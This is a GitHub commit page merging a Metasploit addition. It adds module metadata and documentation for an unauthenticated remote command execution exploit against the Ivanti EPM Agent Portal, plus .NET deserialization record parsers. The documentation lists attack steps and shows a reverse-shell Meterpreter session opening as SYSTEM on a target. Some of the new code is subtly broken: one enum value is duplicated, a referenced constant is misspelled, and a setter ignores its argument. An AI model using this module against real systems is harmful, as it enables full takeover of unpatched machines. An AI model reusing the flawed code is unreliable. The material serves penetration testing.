Skip to content

Commit

Permalink
Merge remote-tracking branch 'upstream/master'
Browse files Browse the repository at this point in the history
  • Loading branch information
certcc-ghbot committed Nov 20, 2024
2 parents 1eedc8f + d69c146 commit 0373fe4
Show file tree
Hide file tree
Showing 13 changed files with 738 additions and 4 deletions.
53 changes: 53 additions & 0 deletions db/modules_metadata_base.json
Original file line number Diff line number Diff line change
Expand Up @@ -184744,6 +184744,59 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/misc/ivanti_agent_portal_cmdexec": {
"name": "Ivanti EPM Agent Portal Command Execution",
"fullname": "exploit/windows/misc/ivanti_agent_portal_cmdexec",
"aliases": [

],
"rank": 600,
"disclosure_date": "2023-06-07",
"type": "exploit",
"author": [
"James Horseman",
"Zach Hanley",
"Spencer McIntyre"
],
"description": "This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method\n which will run an attacker-specified string on the remote target as NT AUTHORITY\\SYSTEM.\n This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2.",
"references": [
"CVE-2023-28324",
"URL-https://forums.ivanti.com/s/article/SA-2023-06-06-CVE-2023-28324?language=en_US",
"URL-https://github.com/horizon3ai/CVE-2023-28324"
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": [

],
"autofilter_services": [

],
"targets": [
"Automatic"
],
"mod_time": "2024-11-20 13:51:39 +0000",
"path": "/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb",
"is_install_path": true,
"ref_name": "windows/misc/ivanti_agent_portal_cmdexec",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [

],
"Reliability": [
"repeatable-session"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/misc/ivanti_avalanche_mdm_bof": {
"name": "Ivanti Avalanche MDM Buffer Overflow",
"fullname": "exploit/windows/misc/ivanti_avalanche_mdm_bof",
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
## Vulnerable Application
This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method
which will run an attacker-specified string on the remote target as NT AUTHORITY\SYSTEM.
This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2.

## Verification Steps

1. Install the application
1. Determine which port the vulnerable AgentPortal service is listening on. It has a non-static value.
1. The port used by the AgentPortal service can be found in the registry at `HKLM\SOFTWARE\LANDesk\SharedComponents\LANDeskAgentPortal`
1. Or you could scan for it and probe the high ports (testing suggests it should be in the 49000 - 50000 range).
1. Start msfconsole
1. Do: `use exploit/windows/misc/ivanti_agent_portal_cmdexec`
1. Set the `RPORT`, `PAYLOAD` and any payload-related options
1. Run the module

## Options

## Scenarios

### Ivanti 2021.1 / 11.0.4.733 on Windows Server 2022 x64

```
metasploit-framework.pr (S:3 J:0) exploit(windows/misc/ivanti_agent_portal_cmdexec) > run
[*] Powershell command length: 4205
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] 192.168.159.130:49673 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.159.130:49673 - Connected to the remote end point
[+] 192.168.159.130:49673 - The target is vulnerable.
[*] Sending stage (176198 bytes) to 192.168.159.130
[*] Meterpreter session 11 opened (192.168.159.128:4444 -> 192.168.159.130:53627) at 2024-10-28 17:15:09 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-NJ6DUF1OCAM
OS : Windows Server 2022 (10.0 Build 20348).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > pwd
C:\Windows\system32
meterpreter >
```
10 changes: 10 additions & 0 deletions lib/msf/util/dot_net_deserialization/enums.rb
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,16 @@ module Enums
#
# .NET Serialization Enumerations
#
BinaryArrayTypeEnum = {
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/4dbbf3a8-6bc4-4dfc-aa7e-36a35be6ff58
Single: 0,
Jagged: 0,
Rectangular: 2,
SingleOffset: 3,
JaggedOffset: 4,
RectangularOffset: 5
}

BinaryTypeEnum = {
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/054e5c58-be21-4c86-b1c3-f6d3ce17ec72
Primitive: 0,
Expand Down
10 changes: 6 additions & 4 deletions lib/msf/util/dot_net_deserialization/types.rb
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@ class Record < BinData::Record; end # forward definition

require 'msf/util/dot_net_deserialization/types/primitives'
require 'msf/util/dot_net_deserialization/types/general'
require 'msf/util/dot_net_deserialization/types/common_structures'
require 'msf/util/dot_net_deserialization/types/record_values'

#
Expand All @@ -16,14 +17,15 @@ class Record < BinData::Record
endian :little
uint8 :record_type
choice :record_value, selection: -> { record_type } do
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/954a0657-b901-4813-9398-4ec732fe8b32
serialization_header_record Enums::RecordTypeEnum[:SerializedStreamHeader]
class_with_id Enums::RecordTypeEnum[:ClassWithId]
system_class_with_members Enums::RecordTypeEnum[:SystemClassWithMembers]
#class_with_members Enums::RecordTypeEnum[:ClassWithMembers]
system_class_with_members_and_types Enums::RecordTypeEnum[:SystemClassWithMembersAndTypes]
class_with_members_and_types Enums::RecordTypeEnum[:ClassWithMembersAndTypes]
binary_object_string Enums::RecordTypeEnum[:BinaryObjectString]
#binary_array Enums::RecordTypeEnum[:BinaryArray]
binary_array Enums::RecordTypeEnum[:BinaryArray]
#member_primitive_typed Enums::RecordTypeEnum[:MemberPrimitiveTyped]
member_reference Enums::RecordTypeEnum[:MemberReference]
object_null Enums::RecordTypeEnum[:ObjectNull]
Expand All @@ -32,10 +34,10 @@ class Record < BinData::Record
#object_null_multiple_256 Enums::RecordTypeEnum[:ObjectNullMultiple256]
#object_null_multiple Enums::RecordTypeEnum[:ObjectNullMultiple]
array_single_primitive Enums::RecordTypeEnum[:ArraySinglePrimitive]
#array_single_object Enums::RecordTypeEnum[:ArraySingleObject]
array_single_object Enums::RecordTypeEnum[:ArraySingleObject]
array_single_string Enums::RecordTypeEnum[:ArraySingleString]
#method_call Enums::RecordTypeEnum[:MethodCall]
#method_return Enums::RecordTypeEnum[:MethodReturn]
binary_method_call Enums::RecordTypeEnum[:MethodCall]
binary_method_return Enums::RecordTypeEnum[:MethodReturn]
end

def self.from_value(record_value, parent: nil)
Expand Down
70 changes: 70 additions & 0 deletions lib/msf/util/dot_net_deserialization/types/common_structures.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
module Msf
module Util
module DotNetDeserialization
module Types
module CommonStructures

#
# .NET Serialization Types (Common Structures)
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/acd7fe17-615c-467f-b700-e5e8761b8637
#
class ValueWithCode < BinData::Record
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/0418b4a2-1e52-45dc-8622-1b619fa3ffec
endian :little

uint8 :primitive_type_enum
choice :val, selection: :primitive_type_enum do
boolean Enums::PrimitiveTypeEnum[:Boolean]
uint8 Enums::PrimitiveTypeEnum[:Byte]
double Enums::PrimitiveTypeEnum[:Double]
int16 Enums::PrimitiveTypeEnum[:Int16]
int32 Enums::PrimitiveTypeEnum[:Int32]
int64 Enums::PrimitiveTypeEnum[:Int64]
int8 Enums::PrimitiveTypeEnum[:SByte]
float Enums::PrimitiveTypeEnum[:Single]
int64 Enums::PrimitiveTypeEnum[:TimeSpan]
date_time Enums::PrimitiveTypeEnum[:DateTime]
uint16 Enums::PrimitiveTypeEnum[:UInt16]
uint32 Enums::PrimitiveTypeEnum[:UInt32]
uint64 Enums::PrimitiveTypeEnum[:UInt64]
null Enums::PrimitiveTypeEnum[:Null]
length_prefixed_string Enums::PrimitiveTypeEnum[:String]
end
end

class StringValueWithCode < BinData::Primitive
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/ecc20dd0-1d83-4a22-b4b2-23c58b03dffc
endian :little

uint8 :primitive_type_enum, value: Enums::PrimitiveTypeEnum[:String]
length_prefixed_string :string_value

def get
self.string_value
end

def set(v)
self.string_value = value
end
end

class ArrayOfValueWithCode < BinData::Primitive
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/330f623e-7412-46c9-8ae0-59543bbfee86
endian :little

int32 :list_length, initial_value: -> { list_of_value_with_code.length }
array :list_of_value_with_code, type: :value_with_code, initial_length: :list_length

def get
self.list_of_value_with_code
end

def set(v)
self.list_of_value_with_code = v
end
end
end
end
end
end
end
25 changes: 25 additions & 0 deletions lib/msf/util/dot_net_deserialization/types/general.rb
Original file line number Diff line number Diff line change
Expand Up @@ -80,6 +80,31 @@ def selection_routine(index)
end
end

class MessageFlags < BinData::Record
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/67213df2-7c15-4543-8e08-42ae0f7c66bf
endian :little

bit1 :method_signature_in_array
bit1 :context_in_array
bit1 :context_inline
bit1 :no_context
bit1 :args_in_array
bit1 :args_is_array
bit1 :args_inline
bit1 :no_args

bit1 :generic_method
bit1 :unused1
bit1 :exception_in_array
bit1 :return_value_in_array
bit1 :return_value_inline
bit1 :return_value_void
bit1 :no_return_value
bit1 :properties_in_array

uint16 :unused2
end

end
end
end
Expand Down
66 changes: 66 additions & 0 deletions lib/msf/util/dot_net_deserialization/types/record_values.rb
Original file line number Diff line number Diff line change
Expand Up @@ -30,6 +30,13 @@ class ArraySinglePrimitive < BinData::Record
end
end

class ArraySingleObject < BinData::Record
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/982b2f50-6367-402a-aaf2-44ee96e2a5e0
RECORD_TYPE = Enums::RecordTypeEnum[:ArraySingleObject]
endian :little
array_info :array_info
end

class ArraySingleString < BinData::Record
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/3d98fd60-d2b4-448a-ac0b-3cd8dea41f9d
RECORD_TYPE = Enums::RecordTypeEnum[:ArraySingleString]
Expand All @@ -38,6 +45,43 @@ class ArraySingleString < BinData::Record
array :members, type: :record, initial_length: -> { array_info.member_count }
end

class BinaryArray < BinData::Record
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/9c62c928-db4e-43ca-aeba-146256ef67c2
RECORD_TYPE = Enums::RecordTypeEnum[:BinaryArray]
endian :little
obj_id :obj_id
uint8 :binary_array_type_enum
int32 :rank
array :lengths, type: :int32, initial_length: :rank
array :lower_bounds, type: :int32, initial_length: :rank, onlyif: :has_lower_bounds?
uint8 :type_enum
choice :additional_type_info, selection: :type_enum, onlyif: :has_additional_type_info? do
uint8 Enums::BinaryTypeEnum[:Primitive]
length_prefixed_string Enums::BinaryTypeEnum[:SystemClass]
class_type_info Enums::BinaryTypeEnum[:Class]
uint8 Enums::BinaryTypeEnum[:PrimitiveArray]
end

private

def has_additional_type_info?
[
Enums::BinaryTypeEnum[:Primitive],
Enums::BinaryTypeEnum[:SystemClass],
Enums::BinaryTypeEnum[:Class],
Enums::BinaryTypeEnum[:PrimitiveArray],
].include? type_enum
end

def has_lower_bounds?
[
Enums::BinaryArrayTypeEnum[:SingleOffset],
Enums::BinaryArrayTypeEnum[:JaggedOffset],
Enums::BinaryArrayTypeEnum[:RectangleOffset]
].include? binary_array_type_enum
end
end

class BinaryLibrary < BinData::Record
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/7fcf30e1-4ad4-4410-8f1a-901a4a1ea832
RECORD_TYPE = Enums::RecordTypeEnum[:BinaryLibrary]
Expand All @@ -46,6 +90,27 @@ class BinaryLibrary < BinData::Record
length_prefixed_string :library_name
end

class BinaryMethodCall < BinData::Record
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/ddb4da3d-8cd7-414f-b984-1a509d985bd2
RECORD_TYPE = Enums::RecordTypeEnum[:MethodCall]
endian :little
message_flags :message_enum
string_value_with_code :method_name
string_value_with_code :type_name
string_value_with_code :call_context, onlyif: -> { message_enum.context_inline != 0 }
array_of_value_with_code :args, onlyif: -> { message_enum.args_inline != 0 }
end

class BinaryMethodReturn < BinData::Record
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/1b34e743-38ac-47bd-8c8d-2fca1cd417b7
RECORD_TYPE = Enums::RecordTypeEnum[:MethodReturn]
endian :little
message_flags :message_enum
value_with_code :return_value, onlyif: -> { message_enum.return_value_inline != 0 }
string_value_with_code :call_context, onlyif: -> { message_enum.context_inline != 0 }
array_of_value_with_code :args, onlyif: -> { message_enum.args_inline != 0 }
end

class BinaryObjectString < BinData::Record
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/eb503ca5-e1f6-4271-a7ee-c4ca38d07996
RECORD_TYPE = Enums::RecordTypeEnum[:BinaryObjectString]
Expand Down Expand Up @@ -137,6 +202,7 @@ class SystemClassWithMembersAndTypes < BinData::Record

extend Primitives::MemberValues::Factory
end

end
end
end
Expand Down
Loading

0 comments on commit 0373fe4

Please sign in to comment.